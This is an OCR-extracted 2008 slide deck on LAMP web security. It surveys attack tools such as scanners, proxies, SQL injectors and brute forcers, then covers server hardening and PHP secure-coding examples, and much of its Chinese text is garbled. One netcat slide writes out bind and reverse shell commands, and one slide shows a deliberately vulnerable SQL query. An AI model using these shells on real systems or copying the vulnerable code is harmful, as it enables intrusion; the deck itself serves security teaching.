LAMP z_ 1z 7 @1’ ﬁ
A —lz _1_ 5§ it "Eﬁ
1)7 T$ | %Sllde>

OuTian < outlan@chroot.org >
2008/08/16



Useful Too
& e AR

» Resources
> Lab
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Useful Tools

> Network Scanner

> Browser Extensions

> Proxy

> Sniffer

> netcat

> SQL Injector

> Brute Force Attack

> Web Stress Test / DDOS

12



Network Scanner

> 5P BT E T AR RIS
> i ¥ ¥ 80 ~ 443 ~ 8080 port
> FF 1 E —

+ NMAP

¢ SuperScan

¢ hping

¢ PortScan Plus

¢ Strobe

¢ NetScan Tools Pro

¢ IPScanner
+ MegaPing

13



nmap

> For Windows & UNIX
> http://nmap.org/

> nmap -n -p 80,443,8080 NE

NI

D:“Program~Security Toolsz“nmap*nmap —n —=P 172_168.180.8-24

Starting Nmap 4.53 ¢ http://insecure.org > at 2088-82-18 12:38 S FiZERFR
Host 192.168.188.121 appears to be up.

MAC Address: BE:11:25:CE:57:5B (IEM>

Host 192.168.188.126 appearsz to be up.

Host 192.168.188.258 appears to be up.

MAC Address: BA:@D:54:A3:B1:C6 <3Com Europe>

Mmap done: 256 IP addresszes (3 hosts up? scanned in 4.922 szeconds

D:“Program~Security Toolsnmapig

TWORK/MASK

=10] x|

14



Browser Extensions - |E

> TamperlE
o http://www.baydén.com/Other/
o R 9 FaE ) ek
o ¥ YEif Javascript i ipl

> HTTPWatch

« http://www.httpwatch.com/
¢ &1 |IE 7= — B Request ~ 2 Response
* %Tié/“ﬁ‘fﬁi‘é 3 AP B
> HTTP Analyzer
4
4
L 4

http://www.ieinspector.com/httpanalyzer/
%@ i HTTPWatch
# Standalone’= & ¥ rJ2 » #8475 i 0 &

15



TamperlkE

TamperlE Control Fanel x| I

¥ Tamper with HTTP POSTs:
[T Tamper with HTTP GETs

TamperlE -- Edit Req

® _ Internet Explorer is atkermpting ko send data ko the Following page:
e & Send altered data
This space inkentionally left blank, - | -H' Ihttp:,l',l'l?E.lE-Ei. 16, 1/board) fuser=admin
L You may tamper with this daka using this dialog. iZonfigure this tool. ., A Send original dat
admin=0
o
i)
B
T &
(]
z 1
m
o

user adrmin
DESS 1 ar n__i
submit Submit
[ ™ Edit Field: ILISEF admin L’I

HaW POST PretbyPosT |




HTTPWatch

137 BEIOE 10, B 1T oL, =G

BEE HRED WED HRAGEEL TAD FHAD

FEinEE ! -1

Q+F-O- 15 B W

) s \—‘n'—.l o
s opwRE )

L5 %
5P

HAUE D) @ hitp:ditw bid ywahoo comd

YAHOO K .

BagA
RS T AT

CrHEE WA (o BATAE () AETE A (2)

REFFEE | ARFsehng | Vahoo i3 EE

BYy

L |E§ﬂ$ -] #8

MR

Started =

00:00:00.179 0.456

1]

308 21046 200
00:00:00, 150 0178 294 a4z GET 200
00:00:00.180 0.179 292 1341 GET 200
00:00:00.30% 0.210 351 2713 GET 200
00;00;00,302 0,245 335 G338 GET 200
00:00:00.307 0,300 350 11587  GET Z00
00:00:00,307 0.095 290 329 GET Z0a
00;00;00, 305 0,286 338 o029 GET 200

texkicss bkt #11 vimg, ooyt wimg , comyfifte auctionyaufivauc_080124, cesw=0302 1503
imagefqif bkt i1 irng, conng b, wirg , comnyfifte auckion)yau) auc_logo, gif

imadefaif bkt f b wirnd . comifbufc2cfirnages)label_n_escrow3d_2 . qif

image/jpeg http: fftvaimage  bid. vahoo, comfusers/2i4/8153/k591211-thumb- 1201405954 1 1 &
image/jpeg http: iitw.image bid,vahoo, comfuser s 315/512/fu. star-1233-thumb- 1205264661
imagejpeq http: fftva.image  bid. vahoo, comfusers /0299 25207 2x-thumb- 1 203269782497
image qif http: #tva wimg. comyiftufauctionflsm_external/market, gif

imags/ioed

httl:u:Iftw.imaue.bid.vahon.cu:umJ'userstHJ'SJ’GJ’neIsonlivolT123-thumb-1 1309362,
3

Chvenyiew | Tiime Charll Headersl Cu:u:ukiesl Cache | Cmgry Stri.mgl POAET Datal Content  Strearm I

385 bytes sent to 203.84,193,252:50

63974 bvtes received by 192,168,16.2:3996 in 4 chunks

GET / HTITP/1l.1

(L, Find [ Esport

HTTP/1.1 z00 0K

Accept: image/gif, image/x-xbitwmap, image/jped, image/piped, applicati-_ Date: Sun, 17 Feb 2002 19:40:1Z GMT
_ |Baccept-Langquage: zh-tw Set-Cookie: B=shomr3ppi3rhi3csih=3&s=1f4; expires=Tue,
L Accept-Encoding: geip, deflate D3P: policyref="http: //p3p.vyahoo. com/wic/pap.xul",
E User-bgent: Mozillas4.0 {(compatible; MSIE £.0; Windows NT 5.1, SVWl. I Expires: Thu, 0l Jan 1970 1lEZ:34:5¢ GMT
% Host: tw.bid. yahoo.com Cache-Control: no-store, hno-cache, must-revalidate
"E Connection: Heep-ilive Cache-Control: post-check=0, pre-check=0
; _|||Frams: no-cache
ﬁ Connection: close
= Tl /|Trans fer-Encoding: chunked
£ o
jas)
BES

0F-Jun-Z037 z0:00:00
CP="CiO DEP COR CUR .

(L Find [ Export

LT e e 7

17



Browser Extensions - Firefox

>

>

>

>

>

Tamper Data
+ https://addons.mozilla.org/firefox/966/

Add N Edit Cookies / CookieCuller
¢ https://addons.mozilla.org/firefox/573/

Live HTTP Headers
+ http://livehttpheaders.mozdev.org/

HttpFox
¢ https://addons.mozilla.org/firefox/addon/664 7

RefControl
¢ https://addons.mozilla.org/firefox/addon/953

HackBar
¢ https://addons.mozilla.org/firefox/addon/3899

User Agent Switcher
¢ https://addons.mozilla.org/firefox/59/

18



Tamper Data

¥ Tamper Data - Ongoing reguests

Start Tamper  Stop Tamper  Clear Optionz  Help
Filter | Show A1l |

Time | Duration | Total Duration | size | Method | Status | Content Type | URL | Load Flags IE]
34432706 3 ms 78 ms 2305 POST 200 texthimml hitp:#192.1.. LOAD DOCTIM.
34442799 33 ms A3 ms 1129 ZET 200 texthimml hitp:#192.1.. LOAD DOCTIM.
34444 581 3 oms A2 ms 1130 ZET 200 texthimml hitp:#192.1.. LOAD DOCTIM.
44461432 31 ms T8 s 205 GET ann tesethtn] hn- 195 T.OATI T TTh

34446737 3l ms
3:44:42143 94 ms
i3:44:48971 16 ms
34449087 15ms

Eequest Header Name

Hoat

Taer- 4 gent
Arcept
Arcept-Language
Accept-Encod ing
Accept-Charset
Eeep-Alive
Connection
Referer

Cookie

Tamper Popup

~ hitp:#192. 168 .16.1/boad!

Eeguest Header Name | Request Header Value Piost Pararneter Navmne | Post Parameter Value |
Host 192.163.16.1 usEr admin
TTzer- 4 gent Mozidlass 0 (Windows; U; Windows NT 5.1; gh-TW yirtaey 1
Aroept texthomlapplicationdomlapplication st +aoml, et post PORT
Aceept-Langnage gh-twen-uzy=.7,enyy=02
Accept-Encoding gzip,deflate
A poept-Charset Bighutf-Bp=0."7, %=
Keep-Alive 300
Conmnection keep-alive
Eeferer http:fi192.168 .16 1/boacd !

Cookie ad min={

FeE RiiH




Add N Edit Cookies

9 4nEC Cookie Editor v0.2.1.2
google com FilterFefresh
Site | Cookie Name
docz. google com D% _FREF
docz. google com __ntma
docz. google com __utmz
google com __ntma
google com Bl
google com —vtma 434/Edit Cookie
gnogle com NID ~ Information about the selected Coolkie
gongle com FEEF
google com __utme Mame: |FEEF
gongle com rememberme - -
Content: | ID=1421410b3ba720f5: Thi=1198932757 LM=1193032757 85 TLq V2o ¥ 2 TLiHem
google com __uimz
google oo by PREF Daomadn: | .google com
ey, oo gle com &
Path: |/
Motel The lizt above iz not updated avtomaticallr when ;
~ Information about the selected Cookie ———————— | Zend For Ly type of conmection ¢ Encrypted comnechons only
Mame: :
Comntent: [
Host: t+ Expires: [2009E128238 FF 09:52:38
Path: Expires: i~ Expire at end of session
Send For:
Expires: " Mew expivation date:
Selecton: Cookis; ————
Al
Edit
Lrevext
{Jptions;

.................

Have Close




Live HTTP Header

E9Live HTTP headers

Headers | Generat:url Cnn.figl Ahnutl

HTTF Headers

http:fteaewe google oot

GET/HTTEL .1

Host: weweswe google.com. by

Tzer-A gent: Mozilla!S 0 (Windows; T; Windows BT 5.1;2h-TW; re:1 3.1.123) Geckof20030201 Fiefox2.0.0.12

Arcept: el apphcatomntonl,applicationdond 4o, et jp=0 9, texdtipladn g =0 3, ima gedpn g, ¥ ¥ g=0 .5

Accept-Language: eh-twen-vsg=0.7,eny=0.3

Arccept-Encoding: geip,deflate

Apcept-Charset; Bigh,uff-3q=0."7, %07

Eeep-Alive: 200

Comnection: keep-alive

Cookie: BY=flurhht?parmnl&eb=38=in; PEEF=ID=ce 194034600984 ef . FF=4 LD=ch-TW . NE=10:Th=1 108022758 LM=1 2004082 10:2=HF= W~ ..

HTTPA 200 QK

Cache-Control: private

Comtent-Tywpe: texdthitml; charset=0TF-3
Content-Encoding: geip

REIVET BWE
Content-Length: 2332
1|“ e et meee s ae e o em
Save Al Replay... | 1l Ceps Clear Clase

21



HttpF

AT EEINE 108, B i,

BEE EERE RO FEE FEE foagpBek IR D

- C 0 o I By - | nepoebid yehoo.com

|v|Google

b | e Yehoo! S EEHIT M, A W& 3 |

H#REA
WERE ? ARl

YaHOO HE &

BEHAE EOPERERSE a5

OX

R BSEMH Al TR

X038 BB ICE  FEE IWFUNE X588

i

BT E | BEFEEEA | Yahoo!iEF

TiEsiimiE R A M

Co#EERA (o HAEE (AR Ad (758

RS

HE | EENS

AR ERESE XHEE #FE 00 WASAR #ERL FElEEe S0EE

oS o A o o

BUEIM EFREL A~k S

UFmER] Zolsilsd  EEiTigiai!

EERE r E
) [MEsE: XBI60). FiE W
) TOSHIBARS 10A Rl EET
) wASO-BlwEHtE )\ [A97044
€D (BHWI 3 H) gt FER0G
€ty BEEEhNELS - ~F

(=1 s
AT
oo EE
NE

) _[MemiE) XEI60LE
FL hd|
e ‘i b ititaaall | r-1
Started Tivne Sent REeceived | Method | Result Type TEL 3
I 0920 219 GET teacthiml hitpedite bid yahoo . com!
00:12:41 514 0265 409 7517 GET 200 texticss hittpe] g comdte yimg comdftefancionfranianc_hp_ 080724 ez
00:12:41 516 0322 419 193 GET 200 image/gif hittpefl g comdte yimg comftesuctionsandanc_logo. gif
00:12:41 551 0.303 420 193 GET 200 image/gif hittpe ]yt comdbe yimg comditte fanctiontec0B07/500x35 zif
00:12:41 554 0392 472 253 GET 200 imagefipeg hittpefttw dmage. bid rahoo comfssrsA/58 bar14 1 5-thumb- 121 2042585105469-7 jpg
00:12:41 556 0370 414 117 GET 200 image/zif hittpefitw yimg comfitefauctiondsm_extermalimarket gif
00:12:41 559 04532 474 253 GET 200 imagefipeg hittpefit dmage bid yahoo comMmzars T30 leensepla-thumb-1218380007823373-4 jpe
00:12:41 561 0.409 476 253 GET 200 imagefipeg hittpefttw dmage bid yahoo comfsers/Se8¢1 loadlvinB88- thumb-1218781193500653-3 jpg
00:12:41 563 0489 474 253 GET 200 imagefipeg hittpefftw dmage bid vahoo comfsers 72418 ntuee 1 88-thumb-1218897796644053-3 jpg
00:12:41 566 04946 477 253 GET 200 imagefipeg ht'lp At mlage hld yahoo conmuserst47 409 2080201 052-thumb- 1 219030722090630-4 jpg d

Headers | Cookies | Query String | POST Dats | Content |

Request Header I Value I Eesponse Header I Valug
(Fequest-Line) GET/HTTPA (Statug-Line) HTTE/A 1 200 OK
Host tw bid vahoo com Date Maon, 18 Aug 2008 17:24:54 GMT
Teer-Lgent Mozilla/5 0 (Windows; U; Windows NT 5.1;zh-TW; nv:1.9.0.1) Gecko/200807020--- | |Set-Cookie B=000f2p0daic 308b=35=1; expires=Tue, 02-hon-2037 20.00.00 GMT; path=; d--
Lecept texthtmlapplication/html+xmlapplicationdanly=0.9, #*xy=0 8 Pap policyref="http:p3p.wahoo combe 3c/p3p 2anl”, CP="CL0 DEF COR CUR ADM ---
Lecept-Language sh-tw,en-ney=0.7,eny=0.3 Expires Thu, 01 Jan 19700 12:34:56 GMT
Lecept-Encoding zzip,deflate Carche-Control no-gtore, no-cache, mostrevalidate, postcheck=l, pre-check=0
Lecept-Charsset Bigh,utf-8y=0.7,%y=07 Pragma no-cache
Keep-Alive 300 Connection close
Connection keep-alive Transfer-Encoding chunked
Content-Type textthiml; charsst=hig5
[ =m RS e | mmmenr | |




Proxy

>

>

>

>

>

>

>

Paros
o http:// parc

Odysseus
« http://www.bin

li“
Fiddler i
o http://www.fiddlertoc n/fi

Burp suite |
o http://portswigger.net/suit

WebScarab

« http://lwww.owasp.org/index.phf

SPIKE Proxy

o http://lwww.immunitysec.com/resot

Achilles

« http://www.mavensecurity.com/achilles

23



Paros

;ﬁ ntitled Sessdon - Paros
File Edit View Analvse Report Tools Help

wites | Request | Response  Trap

Eluj Bifes POST hitp 1 92 168.16. Uboard/?id=17 HTTPM.0 (=
Eu:' htlp:!flgi.lﬁe.lrj.l Accept imageinif, imageb-xbitmanp, imagefped, imagefpjped, applicationt-shockwave-flash, applicationdnd.ms-excel, applicationfnd.ms-powerpoint,
- # GETboard (d) applicationfmaward, ©*
Referer: hitp: i1 92.168.16.1/hoard!?id=17
AcceptLanguane: zh-t
CaontentType: applicationfi-winn-form-urlencoded
Prosy-Caonnection: Keep-Alive
Lser-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windmaws MT 5.1; 331, NET CLRE 2.0.80727)
Host: 192 168.16.1 |
Content-Length: 34
FPragma: no-cache
=l

PPN PHEOWRNE FEEN T |

Luser=admin&msg=%27 %27 %27 &post=POST

IR&W Wiew "l

1 GET hitp M 92 168161 hoardid=17 200 Ol 32ms ﬂ

 History [ Spider | Alerts | Outpot]




Odysseus

g Interceptor - REQUERT

http: 192, 168,16, 1/board] B
FLa HEEdEFEl Yariables I Conkent I
in'n.Eu;|E,|'|;|iFJ imagex-xbitrmap, imagefjpeq, image/pjpeq, application)x-shoclkwawve-flash, application)wnd. ms-¢
Referer htkp:ff192, 165,16, 1 fboard]
Accept-Language zh-tw
Content-Type application)x-www-form-urlencoded
Proxy-Connection Keep-alive
[Jser-fgent Mazillaf4.0 {compatible; MSIE 6.0; Windows MNT 5.1; 5%1; \MET CLR 2.0.50727)
Host 192.168.16.1
Content-Length 39
Pragma no-cache
Zookie adrmin=0
ILIRL Encoded j ik, Cancel abark

20




Sniffer

>

>

>

>

>

>

Ethereal / Wireshark

o http:/www.wireshark.org/

Eeye Iris
o http://www.eeye.com/html/products/iris/

EtterCap

o http://ettercap.sourceforge.net/

Cain & Abel

o http://www.oxid.it/

TamoSoft CommView
o http://www.tamos.com/products/commview/

Sniffit
o http://reptile.rug.ac.be/~coder/sniffrt/sniffit.html

26



Wireshark

T3 Wireshark: Capture Optinns Wl Follow TCF Steam

T (Untitled) - Wireshark ~Streaun Contert

Fil: Edit View Go Ceptwe Analyee § | [3ET / HTTR/L.1 n
Host: outian.net —

B il @ | [ &8 ¢ | user-agent: MozillasSs.0 (windows; U; windows WT 5.1; zh-Tw; rv:l.8.1.12) secko /20080201 F
nccept: text/ xml, aﬁp1icatiuﬂfxm1,app1icatiunthtm1+xm1,textfhtm1;q=D.9,textEpWain;q=0.8,i

HMr| nCCcept-Language: tw, en-us; g=0.7,en; g=0.3
laccept-Encoding: gzip,deflate

No. . Tims Sommse accept-Charset: Bigh,utf-8;g=0.7,%;9=0.7

: keep-alive: 300

i—onnection: keep-aliwve
i_ache-Control: max-age=0

HTTP/1.1 200 OK
Cate: sun, 17 Feb 2008 20:06:03 GMT
Server: Apache
Vary: Accept- Encud1ng User-agent
—ontent - Eﬂcud1ng gz1p
i—ontent-Length:
keep-alive: timeuut=15, Max=98
2 L2847 ; EWREg | [Connection: kKeep-aAlive

.?6??01 L Content-Type: text/ html

BIEVSF.. . ..... S B, <...GET / HTTR /1.1

Frame 1 (60 bytes on wire, & | [HOST: OUtian.net . .

; Ethmwmt(II gtc: 00:03:47:7 | [USEr-Agent: Mozilla/s5.0 Cwindows; U; windows NT 5.1; zh-Tw; rv:il.8.1.12) Gecko/ 20080201 F
’ T srer 7.1 nCcept: textwml, aﬁp11cat1nnfxm1,app11cat1unthtm1+xm1,textﬁhth;q=G.9,text£p1a1n;q=D.B,1__

# Internet Protocol, P S b ccept-Language: tw, en-us; g=0.7, en; g=0. 3

TranSmTSSTDr‘I ':Drltr'cl-l Pr‘DtDCD Accept_EﬂCDdi r-lg: 921 p,de'l:-l ate

nccept—charset: Bigh,utf-8;0=0.7,%;0=0.7

keep-alive: 300

i—onnection: keep-aliwve

i—ache-Control: max-age=0

HTTP/L.1 200 oK j

Nate- Sun 17 Faebh 210008 20-NAE-N2 ST

0 | 1
000000 0e 0c 00 <P 4B 00 05 | ing | Save &s | Print | Entire conversation (1448 bytes) v | ASCII € EBCDIC ¢ HexDump  C Amays © Raw

0020 10 02 00 50 10 1c db 85
0030 19 20 82 9c 00 00 00 00

Help | Cloze Filter Ot Thiz Stream

File: "EATemphetherlXXHa02716" 2476 Bates 0000




netcat

> http://neétcat.sourceforge.net/

> http connection -
$ nc web_ip 80
GET /HTTP/1.0

> Active connect backdoor -
¢ Chicken : nc -n -l -p 12345 -e /bin/sh
+ Hacker : nc chicken_Ip 12345

> Reverse connect backdoor -
¢ Hacker : nc -nv -l -p 12345
¢ Chicken: nc hacker_ip 12345 -e /bin/sh

28



netcat with ssl

> SSlcat
o http://www.bindsh .

> https connection -
$ openssl s_client -conne
GET /HTTP/1.0

29



SQL Injector

>

v VvV VvV V V V

>

NBSI

HDSI

Pangolin

Absinthe

DataThief

SQL Power Injector
Sqlget

o http://www.infobyte.com.ar/
sglmap

o http://sglmap.sourceforge.net/

sgldumper

30



HDSI 3.0

T IMRE

RERE AR

EA S

B

TR T

i FE B 3R

EEzF

RBiE o

PHEGE D,

=i/ iphE
GetWabBhell

Vebihel '

A

FIEGIEE e e

B About

iE Btk - 192, 168,100, 101/ bhs!/ShowPost . asp?Thread ID=3 }%)\ﬂﬁ;@ SRR ¢ jEEsEl
B : | I {ERRRET mrspiz 0 mme [T B | Bk

&+ SOLEEERIE TR

O SNLEEERE TR R

O focessER

AT |£F?f FE |£ﬁ HELR |SA BRIAR Idb-:- ‘B HIE Ibbsxp ]S | S |
T | B —CigEEsiiE— BEELRZFBiF
MEs [#gE [« [10_[FIE [ #riany | Bady | ParentlD | Pos. . | Pos
1 Reg frrt 1 [F! | Body ntext 192 168 164 | admin ns ... 2
diproperties 0 102 168.147 .1 | admin nz ... 3

3 cond list 5 [d2 | IPAddress | mvarchar 27001 adwin 08 ... 1

4 | BBSHP Votes 0 b3  ParentlD int

5 | BBSKP Userbc... O [¥]4 Posthuthor nvarchar

g ;i—gézﬁﬁhu g [¥]5 PostDate datetime

8 | BESYP Users 1 b6  PostID int

9 BERKP Userln... |1 —I[F7  Bubject nvarchar

10 | BESHP Sitele... 1 -

i1  BESHF Roles 4 [48  ThreadID it

12 BRSSP _Reputa_.. |0

13  BESHF Threads 3

14 BRSSP _Subzcr_ .. |0

15  BESHP Statis... 4

16 | BESP Posts 3

17 | EESHF PostRa... O il <] | 2
g | k| ww | smw| | k| mee| swm| wme| mse | co | s |

|EJEI§|?“-]A§¢ |$Iﬁ])x%ﬁ w0 | |

HDSI Ver 3.0 &3S RS R
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Brute Force Attack

>

>

>

>

>

>

>

>

THC-Hydra
o http://www.the.org/thc-hydra/

Brutus AET?2

o http://www.hoobie.net/brutus/
Unsecure

ObiwaN

Cain & Abel

Authforce

WebCracker
Lophtcrack

32



Brutus

®  Brotos - AETY - wvew hoobie netbratos - (Tanmacy 20000

File Tool: Help

Target [127.0.0.1 TPpE|HTTP[Eagicguth] x| | Stat | Stop |Elear

—LConnechon Ophiot
Part (80 Connechonsz l_l 10 Timeaout r.l 10 I- Uze Proxy  [efine |

—HTTP [Baszic] Option

b ethiod IHE;’-‘«D j W Eeepdlive

—Authentication Option

v Usze lzemame [T Single User Fasz Maode |'#ord List j

IJzer File |u35rs.t:-:t Elrnwsel Paze File  [words.tat Ernwsel

FPoszitive Authentication Hesults

T arget Type Uzername FPazzword

0% Iimeaut Heest AnthEeq  Tihrathes HofekFil

Idle o




Web Stress Test (Free)

>

>

>

ab (Apache Benchmark)
o http://httpd.apache.org/

JMeter

o http://jakarta.apache.org/|meter/

Microsoft Web Application Stress Tool

o http://www.microsoft.com/technet/archive/itsolutions/intranet/

downloads/webstres.mspx

Microsoft Application Center Test

o http://msdn2.microsoft.com/en-
us/library/aa287410(VS.71).aspx

.... Many tools
+ http://lwww.softwareqgatest.com/qatwebl1.html

34



Web Stress Test (Commercial)

> HP Mercury LoadRunner
+ http://www.mercuryicom/us/products/performance-center/loadrunner/

> IBM Rational Performance Tester
« http:/mww-306.1bm.com/software/awdtools/tester/performance/index.html

> Compuware QALoad
« http:/lwww.compuware.com/products/gacenter/gaload.htm

> Radview WebLOAD

+ http://www.radview.com/product/description-overview.aspx

> Borland SilkPerformer
« http:/lwww.borland.com/us/products/silk/silkperformer/index.html

> Empirix Web Applications Testing and Monitoring

Solutions
« http:/lwww.empirix.com/products-services/web applications.asp

30
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e

> 1 B i0x
¢ ICMP ~TCP
¢ Zone Transfer
¢ Google

> PRI+# 4 (Port Scan )
¢ NMap ~ Superscan ~ amap ~ scanrand
¢ FIN, Xmas , or Null scan

AL 2 ./.b 5O >
> SR f##ﬁ B

¢ traceroute -~ tcptraceroute ~ paratrace
> TTE & LLh|¥r

¢ Xprobe ~ pOf ~ nmap

o 4 TCP Fingerprint %3 % st
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> f1* Web * #2355 ik ik
> | PRI A F 353 gk

> Brute Force Attack

> Sniff

> Session Hijacking

> Man-in-the-Middle

> Soclal Engineering

40



v o~ im i Web 33 2k

> SQL Injection

> File Inclusion

> Command Injection

> Code Injection

> Directory Traversal

> Upload File Mis-Handling
> Buffer Overflow

41
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Buffer Overflow (Stack)

Alabuse input program Blzive the data beyond

buffer
ares

1. input the data

2.preserve the same
addr ess of input progr am

the

limit on the amount of data

buffer
ares

3. input the data
one after another



Cifinal Iy destray D)illegal program

the stack s carried out
buffer buffer
ares ares

B.illegal program
1= prepared in

| R 1 overwr itten addres:
d.destroy the stack : ;
and overw ite address é )
are m% |  oyverwritten address




#2481

> crack password

> vulnerable program/service
- buffer overflow (stack/heap)
- format string
- race condition
- design error

> Kernel Exploit
> Brute Force Attack

44
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TCP proxy
= B REE N RRERE A

rootkit: '£ mEiF" 2 %Y 3 B



BOTnet
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¥ L Web & * 425" 33 gk (1)

S
o Cross Site S

¢ Arbitrary File Inclu
AL )
+ Code/Command Injec
PN 3 R4S
¢ Directory Traversal
- BT AR TR
+ Buffer Overflow
. N BRI



¥ L Web & * f23% 53 2L (2)

- BAER 2§
+ Cookie Poisoning
- REFEL SR AER
¢ Parameter Tampering
LR bl RETAENNRIFREDE R
+ Upload File Mis-Handling
cfE RS
¢ Information Disclosure
- BB R E
+ Weak Authentication

. 33 TR S
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Protect Your Website

> Web Security =

Secure OS
+ Secure Daemon
+ Secure Application

> Firewall / IPS

> Network Forensics System
> Web AP Firewall

> Security in SDLC

o4



Secure OS

> Keep System up to date
> Service

> Firewall

> Host-based IDS

> Vulnerability Scanner

> Account

> Avold backdoor program
> Harden kernel

90



Keep System up to date
> TR AT B2

¢ Windows — Windows Update/p #* § #7

¢ Linux — yum/apt/urpmi/yast/ronn-update

¢ BSD — ports '/ portupgrade

¢ Solaris — Sun Update Connection / pkg-get

> & & FF 27 kernel

o6



Service

>

o pop3 => pop3s
¢ http => https

VB o] 1 PLIE (7 OPR
EECR AN KT

chroot ( If possible )

51



Firewall

> UNIX — Ipchains/iptables/ipfw/ipf/pf/sunscreen

>

>

Windwos — Default/Norton/Kaspersky/...etc
DROP #73 #f 7 § et &4

R 2o & JR A% 40 port

U] A 55 F IR g S o

WH e & 250 P HRA81P g

nmap -p 1-65535 target

58



Host-based IDS

> AIDE (UNIX)

> AFICK (Win/UNIX)
> Archon (Win)

> OSIRIS (Win/UNIX)
> OSSEC (Win/UNIX)
> Samhain (UNIX)

> Tripwire (WIin/UNIX)

29



Vulnerabllity Scanner

> Free
¢ Nessus
o SATAN

+ Microsoft Baseline Security Analyzer

> Commercial
¢ ISS Internet Scanner
+ DragonSoft Secure Scanner
+ Foundstone Foundscan

+ eEye Retina

60



Harden system

> Harden Package

¢ Tiger — ( AIXIHPUX/IRIX/Linux/SunOsS )
¢ Bastille Linux' = ( Linux )

¢ LSAT — ( Linux)

> Check files with setuid root permission

61



Account

> mail/ftp only etk 88 > @ * H v Zozg

& (Idap/mysqgl/...etc) & sttk 5L
> M2y X g s R
> T_HP | #E RS

> Mg AR R

'\‘E‘

62



Avold backdoor program

> chroot #13 =7 daemon

> K,f 7 [~ Jusrek s 38 H {2 partitions ( /var ~
[tmp ~ /home ~ ...) &2 mount option #c }

nosuid,noexec

> — #Luser # F i * a3t 0 38 gee ~ perl %

python :x = *2 root &, 7 (& #5 ",f)

63



Harden Linux Kernel

> Pax/Exec-Shield

+ kernel.randomize va space =1
¢ kernel.exec-shield = 1 (RedHat/Fedora)

> APParmor
> SELINUX
> GRsecurity kernel module

> RSBAC ( Rule Set Based Access Control )
64



sshd

> "FREOR R
¢ Firewall

¢ TCP Wrapper ( hosts.allow & hosts.deny )

> Ban {7 ¥ iE g » kiR —

¢ BlockHosts - http://www.aczoom.com/ems/blockhosts/

+ DenyHosts - http://denyhosts.st.net/

o Daemon Shield - http://daemonshield.sf.net/

o Fail2ban - http://fail2ban.sf.net/

65



o B B ssh port forv
AllowTcpForwardil
GatewayPorts no

o UIF[EE GF R H 2 g\lé:,, 1
AllowGroups ~ AllowUsers
DenyGroups ~ DenyUsers
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Apache

> Chroot If possible

> cgl control

> Logs

> DocumentRoot permission

> Run as separate user ( SUEXEC )

> Protect Auth password file

> Be careful about MIME file handling
> Mod_security

67



MySQL

chroot Is possible

iz * old_passwords( in my.cnf )
= PTH —Jﬁéf{ TG
SUIES-S S0

¢ Firewall
¢ MySQL Permission

> 7 B FHEE R
¢ Show Grants;

o GRANT ALL on *.*to 'user'; => Bad !!

¢ GRANT ALL on Forum.* to user@localhost identified by
'‘password’; => Normal .

¢ REVOKE FILE on Forum.* from user@ ...
o GRANT SELECT,INSERT,UPDATE,DELET ...

vV V. VYV V



php config
>IN php.ini —

¢ reqgister _global = off (23 ¥ #k)
¢ magic_quotes'gpc=on(‘==\, " =>\", %00 =>\0)

¢ display error = Off (i p &7 4538 4
¢ log_error = on (- A

o allow url fopen=off (F B ECig=8 % | )

¢ expose_php = off (%27 PHP 3= & ¥ 31)

¢ open_basedir = (i35 B Exen P &%)

¢ safe_mode = on (% >H3Y)

¢ disable function = (2 1k % * g #k)

¢ safe_mode _include _dir = (ic3Fincludesp &%)

69



W

¢ ionCube Standalc

+ PHP Encoder

+ PHTML Encoder

+ SourceCop

¢ SourceGuardian

70



Secure Daemon - Apache

> Chroot If possible

> cgl control

> LOogs

> DocumentRoot permission

> Run as separate user ( SUEXEC )

> Protect Auth password file

> Be careful about MIME file handling
> Mod_security

71



Secure Application

> Purge client input

> Configuration

> Database permission

> Error handling

> Code Review

> Web Vulnerability Scan

72



Purge client input (1)

> P75 (&R —Jﬁgz;i IN gﬁ;ﬁ?ﬁ:ﬂﬂﬁvz{% v Ee ]

> e ZH=>H2 2§

> 2 % 2 DBMS #74& &3 escape function
FSLF IR T o, dek & 5\

> & F \ogE g éfzx,ﬁxﬁé’k@?l e’ 2 R
= HTML Entities, 4r < => &lt; , > => &0t;

73



Purge client input (2)

> Code example - avoid sql injection

o HF A - LFETF
if( !preg matech( */°\d+$/ , $ GET["id"] ) ) {
log(); die();
}
o T B A - LFES 2 BT
if( !preg matchC * /" [\d\w]+$/ , $ POST["username"] ) )
{
log(); dieQ);
}
o His - % I i J% sql escape F ~
$sql = sprintf("SELECT * FROM users WHERE user="%s’ AND
password="%s’ ", mysql_real escape_string($user),
mysql _real escape_string($password) );:

74



SQL Injection (1) (Vuln)
<?php

$user = $ POST["'username"] ;
$pass = $ POST["password"] ;
$sql ="SELECT *
FROM account
WHERE

username='$user' and password='$pass' ";

70



SQL Injection (1) (Safe)
<?php

$user = mysqgl_real_escape_string($_POST["'username"]);
$pass= mysql_real _escape_string($ POST[“‘password"]);
$sql = "SELECT *

FROM account

WHERE

username='$user' and password='$pass' ";

76



SQL Injection (2) (Vulin)

<?php |
$id=9% GE '\1‘: y
$sqgl = "SELECT *

1T



SQL Injection (2) (Safe)
<?php

78



SQL Injection (2) (Safe)
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Purge client input (3)

> Code example - avoid cross site scripting

o PHP SELF

. <form action="<?php echo
htmlispecialchars($PHP_SELF); ?2>" ...

o show result
$search = $ GET['search ;
$result = search( $search );

print ‘4% " . htmlspecialchars( $search ) . "z_ %

htmlispecialchars( $result ) ;

—

‘acﬂ" 11

v
~
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Purge client input (4)

> Code example - avoild command injection
<?php
$dir=$ GET['dir] ;

if( $dir 1=") {
$cmd = sprintf("ls -al %s", escapeshellarg($dir) );
system( $cmd );

}

81



Purge client input (5)

> Code example - avoid directory treversal
<?php
$file = $ GET[filename’] ;
if( $file 1= ") {
$realfile = basename( $file );
readfile( "data/Srealfile™ ),

82



Error Handling

KR AR ET 6 > S B AL

(;%:;  2SQL) o BB AERL L
e S SE RS R R
> PRI ALEE 0 7o R PEE |

é’uéléﬁﬁﬁtiﬁo}é&%ﬁﬁ

5

| &5 P
ﬁ;f]""' s 1]
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IS — B P FE 3K 45 3751 4

HERAD Web W& AT 21|

WebdbE | HBEE | e | ISAPIERES | B |
BifRR2EE | HITPMBE  BETEIR | ASPNET | (aiRSSmcsiEst

~HTTP REERSFAHTTAR
BETAVEEIREAE T LR LR S2A04B4 URL (it RIERAMER -

HTTP$R | H{H | AT

407 B CAWINN TthelptiisHelp\commonW07 htm ]
412 BR CAWINN TthelphiisHelp\common'd 12 htm
414 BR CAWINN TthelphiisHelp\common'd 14 htm
500 TP CAWINN TthelphiisHelp'common\500 htm

500:12 BE CAWINN T\help\iisHelp\common\500-12 htm
